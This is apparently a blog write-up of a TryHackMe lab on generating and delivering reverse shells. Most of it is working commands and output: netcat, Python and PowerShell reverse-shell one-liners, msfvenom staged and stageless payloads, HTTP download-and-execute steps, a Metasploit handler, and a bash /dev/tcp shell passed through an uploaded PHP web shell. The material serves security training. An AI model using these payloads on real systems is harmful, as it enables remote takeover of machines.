Skip to main content

Command Palette

Search for a command to run...

Shell Payload Generation & Delivery (TryHackMe)

Updated
7 min readView as Markdown
Shell Payload Generation & Delivery (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the challenge on TryHackMe: Shell Payload Generation & Delivery

Introduction

Getting a shell on a target is the moment a CTF room stops being theoretical and starts being real, but the payload you choose to get there says a lot about what you understand and what you're trading off. This room walks through the full spectrum of shell delivery: quick one-liners you can fire off from a compromised web shell, msfvenom-generated binaries for when you need something more robust, and the staged-versus-stageless decision that quietly shapes how noisy or how flexible your shell will be.

I wanted this writeup to sit alongside my other payload notes as a reference I can come back to, because the differences between a bash mkfifo reverse shell, a Python one-liner with a pty spawn, and a full msfvenom ELF aren't always obvious until you've had to pick the wrong one under pressure. Below, I go through generating shells for both Linux and Windows targets, delivering them over HTTP, catching them with a multi/handler, and the small but consistent gotchas like remembering to set LPORT before you fire exploit -jor realizing your handler is bound to the wrong interface, that eat more time than the exploitation itself.

mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Listening on 0.0.0.0 8080
mkfifo /tmp/f; nc ATTACKER_IP 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
python3 -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.112.70.123",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
PS C:\> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=10.10.14.15 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f elf -o stageless_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: stageless_shell
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o staged_shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: staged_shell.exe
mfsvenom --help
    -i, --iterations      <count>    The number of times to encode the payload
sudo msfconsole
msf > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > options 

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.

msf exploit(multi/handler) > set PAYLOAD
PAYLOAD => generic/shell_reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.14.15
LHOST => 10.10.14.15
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444

exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 10.10.14.15:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 

Practical

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.112.70.123 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: shell.elf
root@ip-10-112-70-123:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.112.70.123 - - [11/Jun/2026 07:14:34] "GET /shell.elf HTTP/1.1" 200 -
wget http://10.112.70.123:8000/shell.elf -O /tmp/shell.elf
--2026-06-11 07:14:34--  http://10.112.70.123:8000/shell.elf
Connecting to 10.112.70.123:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: '/tmp/shell.elf'

/tmp/shell.elf                  100<a class="embed-card" href="======================================================&gt;">======================================================&gt;</a>     194  --.-KB/s    in 0s      

2026-06-11 07:14:34 (13.9 MB/s) - '/tmp/shell.elf' saved [194/194]

root@ip-10-112-70-123:~# chmod +x /tmp/shell.elf && /tmp/shell.elf

staged linux

msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.112.70.123 LPORT=4444 -f elf -o staged_shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: staged_shell.elf
root@ip-10-112-70-123:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.112.70.123 - - [11/Jun/2026 07:19:51] "GET /staged_shell.elf HTTP/1.1" 200 -
sudo msfconsole

use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp
PAYLOAD => linux/x64/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.112.70.123
LHOST => 10.112.70.123
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.112.70.123:4444 
msf exploit(multi/handler) > [*] Sending stage (38 bytes) to 10.112.70.123
[*] Command shell session 1 opened (10.112.70.123:4444 -> 10.112.70.123:56384) at 2026-06-11 07:20:12 +0000
wget http://10.112.70.123:8000/staged_shell.elf -O /tmp/staged_shell.elf
--2026-06-11 07:19:51--  http://10.112.70.123:8000/staged_shell.elf
Connecting to 10.112.70.123:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: '/tmp/staged_shell.elf'

/tmp/staged_shell.elf           100<a class="embed-card" href="======================================================&gt;">======================================================&gt;</a>     250  --.-KB/s    in 0s      

2026-06-11 07:19:51 (18.7 MB/s) - '/tmp/staged_shell.elf' saved [250/250]

root@ip-10-112-70-123:~# chmod +x /tmp/staged_shell.elf && /tmp/staged_shell.elf
nano shell.php
root@ip-10-112-70-123:~# nc -lvnp 4444
Listening on 0.0.0.0 4444
curl -G "http://10.112.160.211/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.112.70.123/4444 0>&1'"

Conclusion

The technical throughline here is that shell delivery is really two separate problems wearing one name: generating a payload that will execute correctly on the target's architecture and OS, and getting that payload onto the target reliably enough to catch a connection back. Msfvenom handles the first problem well once you're deliberate about platform, arch, and format flags; the several "no platform selected, choosing Msf::Module::Platform::Linux" warnings in my output are a good reminder that msfvenom will guess for you if you don't specify, and guessing wrong wastes a full round trip.

The staged-versus-stageless distinction turned out to matter more than I expected. A stageless payload is self-contained and slightly larger, but works the moment it executes with no follow-up traffic required. A staged payload is smaller on disk but depends on the multi/handler sending the second stage over the same connection, which is exactly why my handler showed "session opened" only after the "Sending stage (38 bytes)" line. If that handler isn't configured with the exact matching payload type, LHOST, and LPORT, the staged shell will connect and then silently die, which looks a lot like a network problem when it's actually a configuration mismatch.

The web shell delivery at the end using curl with --data-urlencode to pass a bash reverse shell command through a cmd parameter to an uploaded PHP shell is a good reminder that not every foothold needs msfvenom at all. Sometimes the fastest path is a one-liner smuggled through whatever command execution primitive you already have. Knowing both approaches, and when each is the right tool, is really the takeaway from this room.